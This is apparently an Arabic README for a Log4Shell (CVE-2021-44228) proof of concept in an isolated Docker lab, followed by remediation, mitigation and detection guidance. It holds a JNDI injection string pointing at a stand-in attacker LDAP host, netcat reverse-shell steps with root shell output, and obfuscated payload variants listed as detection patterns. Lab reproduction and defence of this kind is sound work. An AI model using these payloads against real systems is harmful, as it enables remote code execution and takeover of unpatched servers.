Log4Shell (CVE-2021-44228) إثبات المفهوم
الهدف
إعادة إنتاج واستغلال ومعالجة ثغرة CVE حرجة معروفة في بيئة Docker معزولة.
يوضح إثبات المفهوم هذا CVE-2021-44228 (Log4Shell) في تطبيق Spring Boot.
1. وصف الثغرة
CVE: 2021-44228
CVSS: 10.0 (حرجة)
المكوّن المتأثر: Apache Log4j (<= 2.14.1)
كيف يعمل المكوّن؟
- Log4j هي مكتبة تسجيل شهيرة للغة Java.
- تدعم الاستعلامات (
${...}) لحل القيم ديناميكيًا داخل رسائل السجل.
- أحد هذه الاستعلامات هو JNDI، والذي يمكنه جلب القيم عبر LDAP.
كيف تعمل الثغرة؟
- يقوم المهاجم بتسميم تطبيق الضحية بسلسلة استعلام JNDI خبيثة مثل
${jndi:ldap://attacker.com:1389/a}.
- يقوم تطبيق الضحية الذي يعمل بإصدار Log4j هشّ بتقييم السلسلة الخبيثة أثناء تسجيل السجلات.
- يؤدي ذلك إلى تشغيل طلب JNDI إلى خادم LDAP الذي يتحكم فيه المهاجم.
- يستجيب خادم LDAP بمرجع خبيث إلى كود Java البايتي (bytecode).
- تقوم JVM الخاصة بالضحية بتحميل كود البايت وتنفيذه، مما يؤدي إلى تنفيذ عن بُعد (RCE).
كيف يعمل الاستغلال؟
- يقوم تطبيق الضحية بتسجيل مدخلات يقدمها المهاجم من رأس HTTP.
- يستجيب خادم LDAP الخاص بالمهاجم بمرجع إلى
Exploit.class.
- يجلب الضحية
Exploit.class عبر HTTP.
- يعمل المُهيئ الثابت (Static initializer) في
Exploit، مما يؤدي إلى إنشاء قشرة عكسية عائدة إلى المهاجم.
2. المخاطر
3. إثبات المفهوم
المتطلبات الأساسية
- docker + docker-compose
- netcat
- make
البناء والتشغيل
make build start
الاستغلال
- شغّل مستمع netcat:
nc -l 4444
- قم بتشغيل الاستغلال:
make exploit
- يستقبل netcat قشرة عكسية من الضحية:
/bin/sh: can't access tty; job control turned off
$ id
uid=0(root) gid=0(root) groups=0(root) ...
4. المعالجة
الإصلاح المفضّل
- قم بالترقية إلى Log4j 2.17.1 أو إصدار أحدث.
- هذا هو الإصلاح الكامل والطويل الأمد الوحيد. الإصدارات السابقة تم تصحيحها جزئيًا لكنها ما زالت تترك ثغرات:
make patch
make build start
nc -l 4444
make exploit
# -> observe no reverse shell
إجراءات تخفيف مؤقتة (إذا تعذرت الترقية)
- كسب الوقت
- تقييد سلاسل الاستغلال الواردة (أنماط
${jndi:) عبر WAF أو وسيط (middleware).
- تقييد حركة LDAP الصادرة من خوادم التطبيقات عبر تصفية الحركة الصادرة (egress filtering).
- تعطيل الاستعلامات:
-Dlog4j2.formatMsgNoLookups=true
- تحصين JVM:
-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
إجراءات تخفيف تشغيلية
- تدقيق التبعيات وبيئة التشغيل
- إنشاء SBOM (
gradle dependencies, Snyk, Wiz، إلخ).
- البحث في الصور/الخوادم المنشورة عن
log4j-core-*.jar، بما في ذلك ملفات JAR الكاملة (fat JARs).
- فرز وتحديد أولويات إجراءات التخفيف لأكثر أعباء العمل خطورة.
- المراقبة والكشف
- راقب محاولات الاستغلال في السجلات (
${jndi:...}, ${${lower:j}ndi:...}, إلخ).
- راقب حركة LDAP الصادرة بحثًا عن اتصالات رد (callbacks).
- تعامل مع النتائج على أنها اختراقات محتملة، وارفعها للاستجابة للحوادث (تحقيق جنائي، إزالة القطع الأثرية الخبيثة، تدوير الأسرار، إلخ).
- تصحيحات البائعين
- تابع النشرات الأمنية للبائعين (مثل Elasticsearch) - كثير منهم يوزعون نسخًا مدمجة من Log4j.
- طبّق التصحيحات السريعة أو الحلول البديلة المقدمة حتى تتوفر التصحيحات الرسمية.
- تحسينات استراتيجية
- فرض سياسة "الرفض افتراضيًا" لتصفية حركة المرور الصادرة.
- فرض فحص التبعيات في CI/CD.
- توثيق دليل الاستجابة (playbooks) رسميًا حتى تعرف الفرق ماذا تفعل بالضبط خلال ثغرة "CVSS 10.0" القادمة.
- تنفيذ تمارين المرونة/الطاولة لاختبار الجاهزية لحادث "من فئة Log4Shell الجديد".
5. المراجع